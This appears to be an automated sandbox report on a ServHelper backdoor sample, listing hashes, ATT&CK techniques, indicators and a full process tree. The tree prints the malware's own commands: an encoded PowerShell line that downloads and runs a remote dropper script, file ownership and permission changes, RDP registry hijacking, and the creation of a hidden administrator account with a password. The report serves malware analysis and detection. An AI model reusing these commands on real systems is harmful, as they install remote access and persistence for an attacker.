servhelper | d9ec3c5cf92b5b3aa1d59949cf1eafb9c695d35ce9872215ba8b189d40c66823

Analysis

max time kernel
122s
max time network
174s
platform
windows7_x64
resource
win7v20210410
submitted
29-06-2021 19:26

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General

Target

e52eabc5e45c4204fb0c892916c3b12b.exe
Size

4.5MB
MD5

e52eabc5e45c4204fb0c892916c3b12b
SHA1

7d70fb674d3c9fa834b07f5acdc0a17bb80e181d
SHA256

d9ec3c5cf92b5b3aa1d59949cf1eafb9c695d35ce9872215ba8b189d40c66823
SHA512

8462839fd048b0c027a499450e47d0533ba85ac7ab8917bf13663cd974fd1b2610dfb1cdf5cac768e58a267a49478e7685c6580edd7bd99261814fdcae03b5ad

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1608	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1796	icacls.exe
1504	icacls.exe
1792	icacls.exe
760	icacls.exe
1600	icacls.exe
1004	icacls.exe
1008	icacls.exe
456	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130df-181.dat	upx
behavioral1/files/0x00050000000130e0-182.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
396	Process not Found
396	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1600	icacls.exe
1004	icacls.exe
1008	icacls.exe
456	takeown.exe
1796	icacls.exe
1504	icacls.exe
1792	icacls.exe
760	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d9a6c152-6d87-4530-beb3-95e07a89dc52	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a05a873-a8a8-4b0b-b84c-770a470c4a1f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_40ac084d-9a40-409b-93cd-b97d7084f93b	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1854a35d-9e94-447d-ae2e-e269cf9c4347	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6251a6a4-637a-4158-a308-4f0db9168f07	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_58395aec-beee-4813-b773-9f58c7c6268f	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QK471VDBOO9R87JBOYH2.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5045c91b-7046-4680-b271-5d418a83fee1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_425f1f39-49eb-430d-b96d-819320d7e11e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1356d42a-51d0-42e7-a34a-35ed5f448972	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1ec3ec9e-9d78-4f36-bf64-6c8ecc1b1425	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_88e6616c-91f0-44c7-b6c8-e3cbc886d4d8	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50873e511c6dd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1280	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1556	powershell.exe
1556	powershell.exe
1720	powershell.exe
1720	powershell.exe
912	powershell.exe
912	powershell.exe
1260	powershell.exe
1260	powershell.exe
1556	powershell.exe
1556	powershell.exe
1556	powershell.exe
1608	powershell.exe
1608	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeRestorePrivilege	1504	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1936	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1936	WMIC.exe
Token: SeAuditPrivilege	1936	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1936	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1936	WMIC.exe
Token: SeAuditPrivilege	1936	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1004	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1004	WMIC.exe
Token: SeAuditPrivilege	1004	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1004	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1004	WMIC.exe
Token: SeAuditPrivilege	1004	WMIC.exe
Token: SeDebugPrivilege	1608	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 856 wrote to memory of 1556	856	e52eabc5e45c4204fb0c892916c3b12b.exe	29
PID 856 wrote to memory of 1556	856	e52eabc5e45c4204fb0c892916c3b12b.exe	29
PID 856 wrote to memory of 1556	856	e52eabc5e45c4204fb0c892916c3b12b.exe	29
PID 1556 wrote to memory of 1332	1556	powershell.exe	31
PID 1556 wrote to memory of 1332	1556	powershell.exe	31
PID 1556 wrote to memory of 1332	1556	powershell.exe	31
PID 1332 wrote to memory of 620	1332	csc.exe	32
PID 1332 wrote to memory of 620	1332	csc.exe	32
PID 1332 wrote to memory of 620	1332	csc.exe	32
PID 1556 wrote to memory of 1720	1556	powershell.exe	33
PID 1556 wrote to memory of 1720	1556	powershell.exe	33
PID 1556 wrote to memory of 1720	1556	powershell.exe	33
PID 1556 wrote to memory of 912	1556	powershell.exe	35
PID 1556 wrote to memory of 912	1556	powershell.exe	35
PID 1556 wrote to memory of 912	1556	powershell.exe	35
PID 1556 wrote to memory of 1260	1556	powershell.exe	37
PID 1556 wrote to memory of 1260	1556	powershell.exe	37
PID 1556 wrote to memory of 1260	1556	powershell.exe	37
PID 1556 wrote to memory of 456	1556	powershell.exe	40
PID 1556 wrote to memory of 456	1556	powershell.exe	40
PID 1556 wrote to memory of 456	1556	powershell.exe	40
PID 1556 wrote to memory of 1796	1556	powershell.exe	41
PID 1556 wrote to memory of 1796	1556	powershell.exe	41
PID 1556 wrote to memory of 1796	1556	powershell.exe	41
PID 1556 wrote to memory of 1504	1556	powershell.exe	42
PID 1556 wrote to memory of 1504	1556	powershell.exe	42
PID 1556 wrote to memory of 1504	1556	powershell.exe	42
PID 1556 wrote to memory of 1792	1556	powershell.exe	43
PID 1556 wrote to memory of 1792	1556	powershell.exe	43
PID 1556 wrote to memory of 1792	1556	powershell.exe	43
PID 1556 wrote to memory of 760	1556	powershell.exe	44
PID 1556 wrote to memory of 760	1556	powershell.exe	44
PID 1556 wrote to memory of 760	1556	powershell.exe	44
PID 1556 wrote to memory of 1600	1556	powershell.exe	45
PID 1556 wrote to memory of 1600	1556	powershell.exe	45
PID 1556 wrote to memory of 1600	1556	powershell.exe	45
PID 1556 wrote to memory of 1004	1556	powershell.exe	46
PID 1556 wrote to memory of 1004	1556	powershell.exe	46
PID 1556 wrote to memory of 1004	1556	powershell.exe	46
PID 1556 wrote to memory of 1008	1556	powershell.exe	47
PID 1556 wrote to memory of 1008	1556	powershell.exe	47
PID 1556 wrote to memory of 1008	1556	powershell.exe	47
PID 1556 wrote to memory of 1776	1556	powershell.exe	48
PID 1556 wrote to memory of 1776	1556	powershell.exe	48
PID 1556 wrote to memory of 1776	1556	powershell.exe	48
PID 1556 wrote to memory of 1280	1556	powershell.exe	49
PID 1556 wrote to memory of 1280	1556	powershell.exe	49
PID 1556 wrote to memory of 1280	1556	powershell.exe	49
PID 1556 wrote to memory of 1980	1556	powershell.exe	50
PID 1556 wrote to memory of 1980	1556	powershell.exe	50
PID 1556 wrote to memory of 1980	1556	powershell.exe	50
PID 1556 wrote to memory of 1408	1556	powershell.exe	51
PID 1556 wrote to memory of 1408	1556	powershell.exe	51
PID 1556 wrote to memory of 1408	1556	powershell.exe	51
PID 1408 wrote to memory of 1684	1408	net.exe	52
PID 1408 wrote to memory of 1684	1408	net.exe	52
PID 1408 wrote to memory of 1684	1408	net.exe	52
PID 1556 wrote to memory of 1944	1556	powershell.exe	53
PID 1556 wrote to memory of 1944	1556	powershell.exe	53
PID 1556 wrote to memory of 1944	1556	powershell.exe	53
PID 1944 wrote to memory of 728	1944	cmd.exe	54
PID 1944 wrote to memory of 728	1944	cmd.exe	54
PID 1944 wrote to memory of 728	1944	cmd.exe	54
PID 728 wrote to memory of 792	728	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\e52eabc5e45c4204fb0c892916c3b12b.exe
"C:\Users\Admin\AppData\Local\Temp\e52eabc5e45c4204fb0c892916c3b12b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3jz0dclp\3jz0dclp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1332
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD9BC.tmp" "c:\Users\Admin\AppData\Local\Temp\3jz0dclp\CSC2946EB24208B48B08C5BA92B2C9CB3AF.TMP"
      4⤵
      PID:620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1260
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:456
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1796
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1792
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:760
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1600
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1004
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1008
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1776
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1280
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1980
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:728
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:792
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:300
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1960
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:880
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1752
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1776

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:968
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:832

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Mf4h9Psb /add
1⤵
PID:956
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Mf4h9Psb /add
  2⤵
  PID:948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Mf4h9Psb /add
    3⤵
    PID:912

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1964
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1784
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:952

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1256
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1364

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1600
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:832

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Mf4h9Psb
1⤵
PID:1776
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Mf4h9Psb
  2⤵
  PID:1608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Mf4h9Psb
    3⤵
    PID:960

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1784
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1936

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:340
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1004

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:760
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/856-60-0x0000000041370000-0x000000004161A000-memory.dmp

Filesize
2.7MB

Download
memory/856-65-0x0000000041047000-0x0000000041048000-memory.dmp

Filesize
4KB

Download
memory/856-63-0x0000000041044000-0x0000000041046000-memory.dmp

Filesize
8KB

Download
memory/856-64-0x0000000041046000-0x0000000041047000-memory.dmp

Filesize
4KB

Download
memory/856-62-0x0000000041042000-0x0000000041044000-memory.dmp

Filesize
8KB

Download
memory/912-128-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/912-130-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

Filesize
4KB

Download
memory/912-133-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/912-132-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

Filesize
4KB

Download
memory/912-134-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

Filesize
8KB

Download
memory/912-135-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

Filesize
8KB

Download
memory/1260-156-0x000000001AB30000-0x000000001AB32000-memory.dmp

Filesize
8KB

Download
memory/1260-157-0x000000001AB34000-0x000000001AB36000-memory.dmp

Filesize
8KB

Download
memory/1556-87-0x000000001A860000-0x000000001A861000-memory.dmp

Filesize
4KB

Download
memory/1556-86-0x000000001B750000-0x000000001B751000-memory.dmp

Filesize
4KB

Download
memory/1556-67-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

Filesize
8KB

Download
memory/1556-158-0x000000001C570000-0x000000001C571000-memory.dmp

Filesize
4KB

Download
memory/1556-69-0x000000001ABE0000-0x000000001ABE1000-memory.dmp

Filesize
4KB

Download
memory/1556-68-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/1556-70-0x0000000002620000-0x0000000002621000-memory.dmp

Filesize
4KB

Download
memory/1556-71-0x000000001AB60000-0x000000001AB62000-memory.dmp

Filesize
8KB

Download
memory/1556-72-0x000000001AB64000-0x000000001AB66000-memory.dmp

Filesize
8KB

Download
memory/1556-73-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/1556-75-0x000000001C3A0000-0x000000001C3A1000-memory.dmp

Filesize
4KB

Download
memory/1556-102-0x000000001AB6A000-0x000000001AB89000-memory.dmp

Filesize
124KB

Download
memory/1556-83-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1556-85-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

Filesize
4KB

Download
memory/1608-207-0x000000001954A000-0x0000000019569000-memory.dmp

Filesize
124KB

Download
memory/1608-206-0x0000000019544000-0x0000000019546000-memory.dmp

Filesize
8KB

Download
memory/1608-205-0x0000000019540000-0x0000000019542000-memory.dmp

Filesize
8KB

Download
memory/1720-107-0x000000001B810000-0x000000001B811000-memory.dmp

Filesize
4KB

Download
memory/1720-93-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

Filesize
8KB

Download
memory/1720-101-0x00000000023E0000-0x00000000023E1000-memory.dmp

Filesize
4KB

Download
memory/1720-100-0x000000001B3F0000-0x000000001B3F1000-memory.dmp

Filesize
4KB

Download
memory/1720-94-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

Filesize
8KB

Download
memory/1720-98-0x000000001B700000-0x000000001B701000-memory.dmp

Filesize
4KB

Download
memory/1720-96-0x0000000002590000-0x0000000002591000-memory.dmp

Filesize
4KB

Download
memory/1720-120-0x000000001B930000-0x000000001B931000-memory.dmp

Filesize
4KB

Download
memory/1720-121-0x000000001B940000-0x000000001B941000-memory.dmp

Filesize
4KB

Download